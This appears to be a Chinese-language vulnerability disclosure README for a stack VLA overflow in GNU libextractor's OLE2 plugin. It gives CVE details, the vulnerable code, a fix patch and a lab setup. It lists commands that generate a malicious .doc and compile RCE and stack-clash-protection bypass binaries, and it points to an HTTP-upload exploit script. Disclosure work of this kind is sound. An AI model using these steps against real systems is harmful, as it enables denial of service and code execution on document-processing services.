针对 GNU libextractor ≤ 1.14 中一个严重的基于栈的缓冲区溢出漏洞的 PoC。一个恶意的 .doc 文件会触发无限制的 VLA 分配,导致无条件 DoS。在多线程环境中,它会绕过栈冲突保护,实现完整的 RCE。
GNU libextractor 的 OLE2 插件中存在一个基于栈的缓冲区溢出漏洞,在处理特制的 .doc 文件时,可导致远程拒绝服务(崩溃)和代码执行。该漏洞位于 process_star_office()(ole2_extractor.c:349),该函数根据攻击者控制的文件数据,在栈上分配一个最大可达 4MB 的变长数组(VLA)。
主要影响: 远程拒绝服务 — 使任何处理该恶意文件的应用程序崩溃
次要影响: 通过相邻线程栈绕过 -fstack-clash-protection 实现远程代码执行
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-91752 |
| 产品 | GNU libextractor |
| 受影响版本 | < 1.15(直至 1.14 的所有版本) |
| 修复版本 | 1.15 |
| CVSS 4.0 | 8.7 HIGH(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) |
| CVSS 3.1 | 7.5 HIGH(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| 严重性 | HIGH(DoS)/ CRITICAL(多线程进程内模式下的 RCE) |
| CWE | CWE-789(分配过大内存值)/ CWE-121(基于栈的缓冲区溢出) |
| 攻击向量 | 网络(任何文件处理路径) |
| 所需权限 | 无 |
| 用户交互 | 无 |
| CNA | VulnCheck |
| 研究员 | Haitam Lazaar |
注意: 现代 GCC(≥8)默认启用
-fstack-clash-protection,在单线程应用程序中,这会将可利用的溢出转化为安全的崩溃。然而,在多线程应用程序中,此缓解措施可被绕过,因为线程栈在内存中相邻 — VLA 探测会成功进入相邻线程的栈,即使在加固构建上也能实现完整的代码执行。详情请参阅 docs/BYPASS.md。
.doc 文件的应用程序# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc
# Any application that processes this file with libextractor crashes:
extract exploit.doc # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc # GNUnet → gnunet-helper-fs-publish crashes

上面的动画演示了 lab-setup/ 目录中提供的自动化实验室环境。只需运行 docker compose up,攻击者容器就会自动生成恶意的 .doc 载荷并将其上传到存在漏洞的文档索引 Web 服务。libextractor 解析逻辑触发 VLA 栈溢出,使攻击者能够静默实现任意代码执行。我们通过在目标容器上运行 cat /tmp/pwned 来查看命令输出,从而验证该漏洞利用。
├── poc/ # Proof of concept
│ ├── gen_payload.py # Generates malicious .doc trigger file
│ ├── poc_rce.c # Demonstrates code execution (protection disabled)
│ └── bypass_rce.c # Stack-clash-protection bypass (multi-threaded)
├── exploit/ # Exploitation details
│ ├── remote_exploit.sh # Example: triggering via HTTP upload (lab scenario)
│ └── extract_server.c # Example: vulnerable application using libextractor
├── patches/ # Recommended fix
│ └── 0001-fix-ole2-vla.patch
├── lab-setup/ # Reproducible test environment
│ ├── Dockerfile # Builds vulnerable libextractor from source
│ ├── docker-compose.yml # Full lab (includes HTTP upload as one test vector)
│ └── upload_server.py # Document indexing service simulation
└── docs/
├── BYPASS.md # Stack-clash-protection bypass technique
└── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation
# Build libextractor from source
./configure && make && sudo make install
# Generate trigger file
python3 poc/gen_payload.py exploit.doc
# Crash any libextractor consumer
extract exploit.doc # crashes the OLE2 plugin worker
gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc # executes attacker payload (exit code 42)
gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc # bypasses protection, executes payload (exit code 42)
docker-compose -f lab-setup/docker-compose.yml up -d
// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src); // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0; // Max 4MB allowed — but stack is 1-8MB
char buf[size]; // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf); // Write attacker data
在没有 -fstack-clash-protection 的情况下,编译器会生成:
sub %rax, %rsp ; Single instruction, jumps RSP past guard page
在使用 -fstack-clash-protection 的情况下,在多线程上下文中仍可绕过探测(请参阅 docs/BYPASS.md)。
- if ( (size < 0x374) ||
- (size > 4 * 1024 * 1024) )
+ char buf[0x374];
+
+ if (size < 0x374)
return 0;
- {
- char buf[size];
- gsf_input_read (src, size, (unsigned char*) buf);
+ gsf_input_read (src, sizeof(buf), (unsigned char*) buf);
由我(Haitam Lazaar)在独立安全研究过程中发现。
特别感谢 GNU libextractor 的维护者 Christian Grothoff,感谢他极其快速的分类处理、专业的沟通,以及迅速部署补丁(v1.15、v1.16 和 v1.17)以解决本次审计中报告的此问题及其他若干内存安全问题。
我的研究仅供教育和防御目的使用。请负责任地使用。